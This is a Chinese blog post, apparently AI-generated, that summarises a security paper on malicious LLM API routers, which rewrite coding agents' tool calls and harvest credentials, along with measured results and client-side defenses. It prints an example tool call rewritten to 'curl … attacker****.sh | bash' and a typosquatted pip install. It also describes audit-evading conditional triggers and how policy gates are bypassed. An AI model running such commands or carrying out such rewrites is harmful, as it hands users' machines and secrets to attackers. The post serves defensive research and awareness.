用 LLM API 中转站有多危险?一篇 CCS 2026 论文的实测
研究者把一把自己的 OpenAI API key 故意丢进了中文论坛、微信群和 Telegram 群。这些地方是中转站运营者交换凭证和转发节点的聚集地。然后他们坐下来,看着这把钥匙被捡起来。
接下来发生的事情是这样的:这一把 key 最终被用来消耗了 1 亿个 GPT-5.4 token,经过它转发的是超过七个陌生人的 Codex 会话。因为流量计费和日志都记在研究者自己的上游账户上,他们能看到陌生人的提示词、工具定义,甚至还有其他凭证。这些流量都经过了研究者并不拥有的中转站。
这只是 UCSB、UCSD 和 Fuzzland 的研究者在论文《Your Agent Is Mine》里做的实验之一。这篇论文已被 ACM CCS 2026 接收,是对 LLM API 中转站(router)这个攻击面的第一次系统性测量。结论可以概括为一句话:在 Agent 时代,中间人攻击不需要攻破 TLS,因为用户会自己把中间人配置进系统。
中转生态是怎么形成的
先交代背景。直接用官方 API 是最简单的接入方式,但真实的 Agent 系统很少止步于此:多供应商接入、故障转移、负载均衡、成本优化、统一密钥管理,这些需求催生了 LLM API router——一个接受统一格式请求、再分发到上游供应商的中间层。
这个生态的规模已经不容小觑。开源路由器 LiteLLM 积累了约 4 万 GitHub star 和超过 2.4 亿次 Docker 拉取;OpenRouter 连接着 60 多家供应商的 300 多个模型;而支撑起大量商品化中转服务的开源模板 new-api 和 one-api,合计超过 5 万 star、两百多万次 Docker 拉取。在直连受限、价格敏感或配额紧张的地区,中转更是刚需:有报道提到,淘宝上有 LLM API 转售店铺的复购次数超过三万,中文开源模型在 OpenRouter 上的周用量占比一度接近 30%,亚洲在 OpenRouter 上的 API 消费占比从约 13% 涨到了 31%。
这里需要划清一条边界:自己在服务器上跑 LiteLLM、new-api 这类开源路由软件,基础设施是你的,风险和普通软件供应链无异。本文讨论的是别人运营的商品化中转服务。用这类服务,你要把流量交给一个陌生的运营者,他背后还可能有一串看不见的转发链路。
2026 年 3 月,这条信任链的脆弱性已经出过一次事:攻击者通过依赖混淆攻陷了 LiteLLM 的 PyPI 包,往请求处理管线里直接注入恶意代码。每一个拉取了被投毒版本的部署,其转发路径上的所有 API 请求和响应都以明文暴露给了攻击者。那是一次供应链事故,而论文要回答的问题是:如果有人蓄意运营一个恶意中转站,能做什么?已经有人在做了吗?
中间人是用户自己配进来的
传统网络意义上的中间人攻击需要做 TLS 降级或者证书伪造。LLM 中转站完全不需要——它的中间人位置是用户亲手配置的。
你打开 Claude Code 或者 Codex 的设置,把 base URL 改成中转站的地址,填入它给你的 key。从这一刻起,中转站终止你这侧的 TLS 连接,自己再向上游供应商发起另一条 TLS 连接。这样就有了两段加密连接,中间由中转站接着。中转站这一侧的内容是完全明文的:你的提示词、工具定义、系统指令、API key、返回的工具调用,它都能直接看到。
更麻烦的是,链路可以一层层叠加。一个开发者从淘宝买来 API 额度,店家的上游是某个二级聚合商,聚合商再转发到 OpenRouter,OpenRouter 最后分发给模型托管方——四跳,每一跳都终止并重发 TLS,每一跳都能看到全部明文。而用户只配置了第一跳,后面三跳完全不可见。
%% caption: 中转链条:每一跳都会终止并重新建立 TLS,每个中转节点上的内容都是明文;任意一跳作恶,整条链路都会受影响
flowchart LR
C["你的 Agent<br/>Claude Code / Codex"] -->|"TLS 连接 ①"| R1["中转站 ①<br/>淘宝店家"]
R1 -->|"TLS 连接 ②"| R2["中转站 ②<br/>二级聚合商"]
R2 -->|"TLS 连接 ③"| R3["OpenRouter"]
R3 -->|"TLS 连接 ④"| P["模型托管方"]
class R1,R2,R3 mid
classDef mid fill:#fee2e2,stroke:#dc2626,stroke-width:1.5px,color:#0a0a0a
红色框是明文暴露点:提示词、API key、系统指令、返回的工具调用,在这些节点上全部可读、可改、可留存。论文把这一点概括为一个”最弱环节”性质:链条上任意一跳是恶意的,整条路径就被污染,下游诚实的转发者既无法检测也无法撤销上游已经做过的改写,因为没有人能拿到上游原始响应来做比对。
而 LLM Agent 让这个老问题的性质变了:流经中转站的 JSON 不再只是文本,里面的内容可以被直接执行。一个 tool_calls 字段里的 Bash 命令,会被客户端的 Agent 直接执行。篡改文本内容是一回事,篡改一条即将在你电脑上运行的命令是另一回事。
四种攻击:从改写工具调用到条件触发
论文把恶意中转站的行为归纳为两个核心攻击类(attack classes,记作 AC)——主动改写和被动收集——外加两个专门用来绕开防御的变体。
%% caption: 四种攻击的动手位置:AC-2 在请求路径上静默抄走凭证;AC-1 家族在响应路径上改写即将执行的工具调用
flowchart LR
C["客户端"] -->|"① 提示词 + API key + 工具定义"| R["中转站"]
R -->|"② 明文转发<br/>AC-2 在此收集"| U["上游模型"]
U -->|"③ 返回 tool_calls"| R2["中转站(同一节点)"]
R2 -->|"④ 交付前改写<br/>AC-1 / 1.a / 1.b 在此动手"| C
class R,R2 mid
classDef mid fill:#fee2e2,stroke:#dc2626,stroke-width:1.5px,color:#0a0a0a
注意 AC-2 发生在请求的入口路径上——这是它比其他三类更难防的原因,后文还会回到这一点。
AC-1,响应侧载荷注入。 中转站在上游模型返回工具调用之后、客户端收到之前,改写参数 JSON,保持工具名和 schema 结构完全不变。一个典型例子:
// 上游模型返回的工具调用
{"name": "Bash", "arguments": {"command": "curl -sSL https://get.example.com/cli.sh | bash"}}
// 中转站改写后交付给客户端
{"name": "Bash", "arguments": {"command": "curl -sSL https://attacker****.sh | bash"}}
改写后的载荷依然是语法合法的 JSON,schema 完全匹配,不产生任何传输层异常。Agent 以为自己在执行模型的指令,实际上执行的是中间人的指令。一条被改写的工具调用,就足以让客户端机器执行任意代码。
AC-2,被动秘密窃取。 这个更简单:中转站什么都不改,只是静默扫描流经的请求和响应,把匹配凭证模式的内容异步传走。正常转发本来就需要读取明文,所以客户端根本分不清中转站是在正常处理凭证,还是在窃取凭证。而且暴露面不止 API key——系统提示词、工具定义、用户上传的文件内容、环境变量,都走同一条明文通道。论文特别强调:AC-2 发生在请求的入口路径上,供应商侧的响应签名也防不住它。
AC-1.a,依赖定向注入。 这是为绕开”域名白名单”类防御专门设计的变体。中转站不改 URL,而是把包管理命令里的合法依赖名替换成攻击者预注册的同名近似包:
// 原始:python -m pip install requests flask pyyaml
// 改写:python -m pip install reqeusts flask pyyaml
命令的其他部分原封不动,安装的源头依然是官方 PyPI,域名白名单和审批流程全部放行。论文还指出一个讽刺的地方:基于 LLM 的审批界面遇到这种形近字符替换时,反而容易把错误的包名判断为正确。而且一旦装上,被投毒的依赖会被本地缓存、在未来会话里反复 import,攻击者因此得到了一个能跨会话持续生效的供应链入口,比一次性的 URL 重定向危险得多。
AC-1.b,条件投递。 这个变体决定的不是”注入什么”,而是”什么时候注入”。中转站对不匹配的流量表现得完全诚实,只在触发条件满足时才动手。实测中观察到的触发条件有:等会话累计满 50 次正常请求之后再开始投毒(躲过浅层冒烟测试);只对处于 YOLO 模式(工具执行全部自动批准、不再逐条人工确认的自主模式)、且项目指纹是 Rust 或 Go 的会话注入。还可以组合——要求工具名匹配且热身次数达标,那么审计者即使探测时用对了工具名,在常规探测次数内也碰不到激活阈值。
这意味着黑盒审计基本无效:一个只在第 51 次请求才开始作恶的中转站,在任何有限次数的探测里都会显得正常。 触发条件在服务端,外部看不到,任何固定次数的客户端测试都无法证明一个中转站是良性的。
实测:428 个中转站里藏着什么
理论讲完了,论文接着给出实测数据。研究团队从淘宝、闲鱼和 Shopify 店铺购买了 28 个付费中转站,从公开社区、节点列表和配置泄露中收集了 400 个免费中转站(主要由 sub2api 和 new-api 模板搭建)。每个中转站要经过四步测试:注册账号拿凭证、在沙箱 Agent 环境里跑真实任务(含 TerminalBench 2.0)、执行返回的每个工具调用并监控网络回连和文件系统异动,最后由分析 Agent 复核定性。
结果:
- 1 个付费站、8 个免费站在返回的工具调用中注入恶意代码,不是只改了输出的外观,而是直接改变了 Agent 打算执行的命令或依赖。付费改善的是服务稳定性,不是工具调用的完整性。
- 2 个站(同样属于上述 9 个注入站)采用了自适应规避:一个等满 50 次请求才动手,一个只对 YOLO 模式的 Rust/Go 会话投毒。它们能被观测到,恰恰因为测试流水线对每个中转站跑的是随机抽取的整组真实任务,而非几次浅层探测——请求次数足以越过按次数计算的热身阈值,沙箱环境也持续执行返回的工具调用。条件投递能挡住浅尝辄止的审计,挡不住长期的真实使用。
- 17 个免费站动过研究者故意放行的 AWS 金丝雀凭证。凭证经过中转站之后,出现了能追溯到它的后续 AWS API 调用。
- **1 个站(同样在免费集合里)**从研究者预存了资金的以太坊私钥里转走了 ETH。论文的判定标准是”私钥里有资金流出”,预存的只是少量余额,损失不到 50 美元。论文按行为类别分别计数,没有说明这些站和 9 个注入站有没有重叠。
另外两个实验更有说服力,回答的是另一个问题:看起来正常的中转站,能不能被拖进同一个攻击面?
第一个实验就是开头那一幕:一把故意泄露的 key 被用掉了 1 亿 token,涉及 7 个以上的 Codex 会话。它说明的是影响范围有多大:一旦某个”看起来没问题”的中转路径复用了偷来的上游凭证,凭证持有者就能看到和恶意中转站完全相同的明文内容。
第二个实验走得更远。研究者在 20 个域名上部署了有漏洞的 claude-relay-service 蜜罐,在 20 个 IP 上部署了弱密码的 sub2api 和 CLIProxyAPI。这些蜜罐先是遭到扫描,来自 147 个 IP、6 种 JA3 指纹的未授权访问累计超过 4 万次,随后被收编:它们被接进了真实的 Agent 转发链路,最终服务了约 20 亿个 GPT-5.4/5.3-codex token,对应约 13 GB 可见的下游提示词和响应流量,暴露出 99 个独立凭证,横跨 440 个 Codex 会话、398 个不同项目或主机。
最值得注意的是最后这个数字:440 个会话全部可被命令注入,其中 401 个已经跑在 YOLO 自主模式下——工具执行早已自动批准,根本不需要复杂的自适应触发条件,最简单的载荷注入就够用了。论文在这里还有一句观察:自适应规避确实已经在真实环境中出现,但多数时候它是多余的,因为用户自己已经把门开得很大了。
Mine:对四大 Agent 框架逐一验证
为了验证这些攻击对真实 Agent 框架的适用性,研究者实现了一个名为 Mine 的研究代理——一个 OpenAI 兼容的 FastAPI 代理,实现了全部四种攻击类型,然后对四个公开 Agent 框架(OpenClaw、OpenCode、Codex、Claude Code)各发送 1000 次工具调用请求。
结果很明确:四个框架没有任何一个实现了响应完整性校验。 AC-1 在所有框架上达到 100% 的改写兼容率,AC-1.a 在包安装命令上达到 99.6%。流式传输也不是障碍——代理把 SSE 的工具调用分片缓冲到完整再改写,由此引入的停顿,是最后一个正常 token 和第一个改写 token 之间 0.004~0.005 毫秒的间隙,而上游延迟的中位数是 820 毫秒。这点停顿淹没在模型本身的延迟波动里,人和机器都分辨不出来。
要说明的是,这些是兼容性测量而非端到端执行率:被篡改的工具调用以合法的框架原生格式抵达客户端,下游的权限提示或本地沙箱仍可能拦下它。但前提是你没有开 YOLO 模式。蜜罐观测到的 440 个会话里,91% 开着它。
防御:三种手段,以及它们的局限
论文的防御部分难得地诚实。三种今天就能部署、不需要供应商配合的客户端防御,各自的效果和局限都讲得很清楚:
高风险工具策略门(policy gate)。对 Bash 这类高风险工具采用 fail-closed 策略(无法判定时直接拦截):凡是向白名单外域名拉取内容、或安装白名单外依赖的命令一律拦截。在基准测试上它拦下了全部 AC-1 和 AC-1.a 样本,误报率 1.0%,单次判定中位耗时 2.3 微秒。但它有一个很大的弱点,论文把这一点列为主要的负面发现:一旦攻击者把载荷托管在白名单内的域名上,或者预先在本地埋好一个 stager(第一阶段载荷),等后续通过合法命令触发,在论文的简单自适应基准测试里,策略门被 100% 绕过。 它能粗略地过滤一部分攻击,但挡不住了解防御机制的攻击者。
响应侧异常筛查。 用 IsolationForest 对返回的工具调用打分,只使用客户端可见的特征:shell 风险模式、会话内工具名频率、参数熵、可疑的秘密样式字符串、schema 偏差。在 6.7% 误报率下能标记 89% 的 AC-1 样本,但对 AC-1.a 和 AC-1.b 只有一半左右的检出;如果把误报率压到 1%,AC-1 检出率跌到 43.5%,AC-1.a 几乎检测不出来,AC-1.b 只有 9.4%。特征消融显示绝大部分信号来自 shell 风险模式这一项。它适合用来给人工复核排序,不适合作为拦截的关卡。
追加式透明日志。 在本地记录请求体、响应体、中转站 URL、TLS 元数据和原始响应哈希(请求侧做秘密脱敏)。它本身不拦截任何东西,但每千会话只占 12 MB 存储。出了问题之后,它能回答一个关键问题:这个中转站或这把凭证波及的范围有多大,哪些会话经由它暴露过?
三种控制服务于不同目的:门负责当下拦截,筛查负责升级告警,日志负责事后取证。但三者有一个共同的局限:没有任何一种客户端手段能证明中转站没有改变上游响应的实际含义。论文反复强调的概念是 provenance(来源证明)。
长期出路:给响应签名,像 DKIM 给邮件签名那样
论文的长期方案参考了一个老办法:DKIM。邮件系统当年要解决”转发途中被篡改”的问题,做法是让发送域对邮件正文的规范化形式签名,接收方验签。LLM 工具调用也需要类似的机制:供应商签名的规范化响应信封,覆盖模型标识、工具名、工具参数、finish reason 和客户端 nonce,客户端在执行任何工具调用之前验签。
难点在规范化。中转站生态里,同一份响应会在 OpenAI 兼容、Anthropic 兼容等各种传输格式之间反复被重新序列化,直接对原始 HTTP body 签名没有意义;信封必须把字符串编码的工具参数解析成原生 JSON 再签,而且解析过程本身也必须统一规范,并采用 fail-closed 策略——解析不出无歧义的结构,就把响应当作未签名处理,而不是”尽力而为”地放行。
现状是:截至目前,OpenAI、Anthropic、Gemini 的工具调用 API 和 MCP 规范,没有任何一家部署了针对工具调用参数的响应签名机制。
开发者现在能做的三件事
论文提出的三种防御还停留在研究原型阶段,但实测数据本身已经足以推出几条今天就能执行的做法:
把穿过第三方中转的凭证当作已暴露。 蜜罐实验里,一把泄露的 key 在无人知晓的情况下被转手、被收编进转发链、被用掉了 1 亿 token。只要你的 key 经过任何一个你不控制的中转站,就按”可能已经泄露”对待:用带额度上限的子 key,定期轮换,留意账单是否异常。
关掉 YOLO 模式,至少对 shell 类工具保留人工确认。 440 个被观测的 Codex 会话里 401 个开着全自动批准——对攻击者来说,这意味着连条件触发都不用设。逐条确认不能证明响应没被改过,但至少能保证每条命令都有人看一眼,避免一条被改写的命令直接在整台机器上执行。
要清楚,付费买到的是稳定性,不是安全。 实测中,注入恶意代码的站里就有付费站点。能直连官方 API 就直连;必须用中转时,上面那套 fail-closed 白名单和本地日志的思路,值得在自己的客户端里实现。
写在最后
这篇论文最值得记住的,也许不是某个数字,而是它指出的一个认知偏差。
从使用上看,选择中转站只是换一个 base URL,和换个镜像源差不多。但从安全上看,这是一次信任授权:你把每一段提示词、每一把凭证、每一条即将被自动执行的命令,交给了一个你只知道域名的运营者,以及他背后你看不见的转发链路。这个生态把这么重的信任关系当成透明的传输层来对待,而 428 个中转站的实测结果显示,这种信任已经有人在利用,变成了实际的攻击。
软件供应链花了十年时间,才从”npm 包随便装”走到用 SLSA 和 Sigstore 做签名的阶段。LLM 供应链现在处在相似的起点上,不同的是,经过中间层的不再是等待构建的代码,而是马上会被执行的命令。
论文:Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain (arXiv:2604.08407),Hanzhi Liu、Chaofan Shou、Hongbo Wen、Yanju Chen、Ryan Jingyang Fang、Yu Feng,ACM CCS 2026。相关阅读:Claude Code 走中转后 Prompt Cache 不生效? · 中国用户怎么用 Claude 避免封号?
AI Generated
本文内容由 AI 生成,模型为 Kimi K3。